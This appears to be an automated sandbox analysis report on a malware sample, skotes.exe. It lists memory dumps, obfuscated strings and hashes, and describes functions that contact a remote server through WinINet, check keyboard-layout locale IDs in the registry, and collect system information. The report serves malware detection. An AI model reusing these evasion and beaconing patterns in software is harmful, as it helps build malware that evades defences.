Associated: 00000002.00000002.1790968766.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1790988666.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791007729.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791029348.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791053892.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791102942.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791135863.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791187377.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791207621.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791232555.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791252075.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791273107.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791291767.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791310531.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1791330824.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction ID: 583099aebe30a6a4c5a8a0bab37f3a427bedc90798c9e8eaa9ee393735668e98
Opcode Fuzzy Hash: 25e1ddbf7358814f205d7bb65d61d0ef3abe49c1018f9abe92e7995d402209c3
Instruction Fuzzy Hash: 37A1E3B0A012059FDB10EF64C844B6ABBF8FF15710F0481A9E829D7691EB31EA04DBE1

Analysis Process: skotes.exePID: 2496, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1037
Total number of Limit Nodes:	111

Executed Functions

Function 00B7E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 00B7E821
WDw=, xrefs: 00B7F71D, 00B7F9FA
WTs=, xrefs: 00B805CA
111, xrefs: 00B7F7A0
9c9aa5, xrefs: 00B7FB8E
GnNoc2Hc, xrefs: 00B7E56C
#, xrefs: 00B80624
246122658369, xrefs: 00B7F737, 00B7FA14, 00B805E7, 00B8099A
MQ==, xrefs: 00B7E592
UA==, xrefs: 00B7EB0F, 00B7ED56
WTw=, xrefs: 00B8097D

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: afcb9dcd0d51a1d189dfff0edae7e7a4f10f835fc7befa85e61a4eff1c2396bb
Instruction ID: f21e86b874e8654f6e690416c0adbb9357fbc66a577797e4fd2b5a6282894995
Opcode Fuzzy Hash: afcb9dcd0d51a1d189dfff0edae7e7a4f10f835fc7befa85e61a4eff1c2396bb
Instruction Fuzzy Hash: 8B82C170904288DBEF14EF68C9897DEBFF5AB05304F6085C9E815273D2D7759A88CB92

Function 00B7EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7EB51
CreateDirectoryA.KERNEL32(00000000), ref: 00B7EC83
GetFileAttributesA.KERNEL32(00000000), ref: 00B7ED98

Strings

stoi argument out of range, xrefs: 00B808C4
111, xrefs: 00B7F7A0
9c9aa5, xrefs: 00B7FB8E
GiQaT29tduF=, xrefs: 00B7FEB6
FisgLnsCZO1i, xrefs: 00B7FF19
invalid stoi argument, xrefs: 00B808B0
FCQgKF==, xrefs: 00B7FEE4
#, xrefs: 00B80624
mxo1L0x, xrefs: 00B7EE84
246122658369, xrefs: 00B7F737, 00B7FA14, 00B7FE00, 00B805E7
UA==, xrefs: 00B7EC41, 00B7ED56, 00B7EF89, 00B7F2CE
WDw=, xrefs: 00B7F71D, 00B7F9FA, 00B7FDE3
WTs=, xrefs: 00B805CA

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: d25fd23c76fd51ede2afe465a609fc0994fdd6a0ee036822c3048cfb1274a88d
Instruction ID: 0fb42b91e891259c196c52efe5e365edcb5e2b73dfb64eaabb9fd465ccecc45f
Opcode Fuzzy Hash: d25fd23c76fd51ede2afe465a609fc0994fdd6a0ee036822c3048cfb1274a88d
Instruction Fuzzy Hash: 87F25C71A101489BEF18EB38CD8979DBBF2AF46304F1481D8E419A73E6DB359AC4CB51

Function 00B7BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,3F7B10E6,?,00000000), ref: 00B7BEB8
InternetOpenW.WININET(00BC8DC8,00000000,00000000,00000000,00000000), ref: 00B7BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00B7BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00B7BF36
HttpSendRequestA.WININET(?,00000000), ref: 00B7BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00B7C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 00B7C161
InternetCloseHandle.WININET(?), ref: 00B7C187
InternetCloseHandle.WININET(?), ref: 00B7C18F
InternetCloseHandle.WININET(?), ref: 00B7C197

Strings

stoi argument out of range, xrefs: 00B7E4EA
RE1NXF==, xrefs: 00B7BF0E
8HJUeIfzLo==, xrefs: 00B7C3CB, 00B7C623
8HJUeMD Lq5=, xrefs: 00B7C465
invalid stoi argument, xrefs: 00B7E4F4

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 261b15af1c226df3f9f8913771275afe6769322063cee0198e74bf6206ede8a4
Instruction ID: 6ee061c9eede7400baa92339578360172e5d19165e2e35b6aa9d3367a3bd60f2
Opcode Fuzzy Hash: 261b15af1c226df3f9f8913771275afe6769322063cee0198e74bf6206ede8a4
Instruction Fuzzy Hash: 3AB1C2B16001189BDB28DF28CC85BADBBE5EF45304F5081EDF519A72D2DB709AC4CB95

Function 00B76020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00B7617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00B76271

Strings

00000423, xrefs: 00B760FA
00000419, xrefs: 00B76098
0000043f, xrefs: 00B7612B
00000422, xrefs: 00B760C9
Keyboard Layout\Preload, xrefs: 00B76054

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 0264469bf8cae6e1e5e2429d88ba728ccc5320f38510529a884975797a29a6eb
Instruction ID: bcb2703c8f4eb468c1ccfcc89ae0e4bcd6377a558d72580a744cbe0b3b4f1034
Opcode Fuzzy Hash: 0264469bf8cae6e1e5e2429d88ba728ccc5320f38510529a884975797a29a6eb
Instruction Fuzzy Hash: 8DB1BD719002689BDB24DB24CC89BDEB7B9EF14300F5442D9E118E7291DB74AFA8CF94

Function 00B77D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B77ED3

Strings

JjsrPl==, xrefs: 00B7828A
JjssPV==, xrefs: 00B781E2
JjsrQV==, xrefs: 00B78092
JjssOl==, xrefs: 00B7813A

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
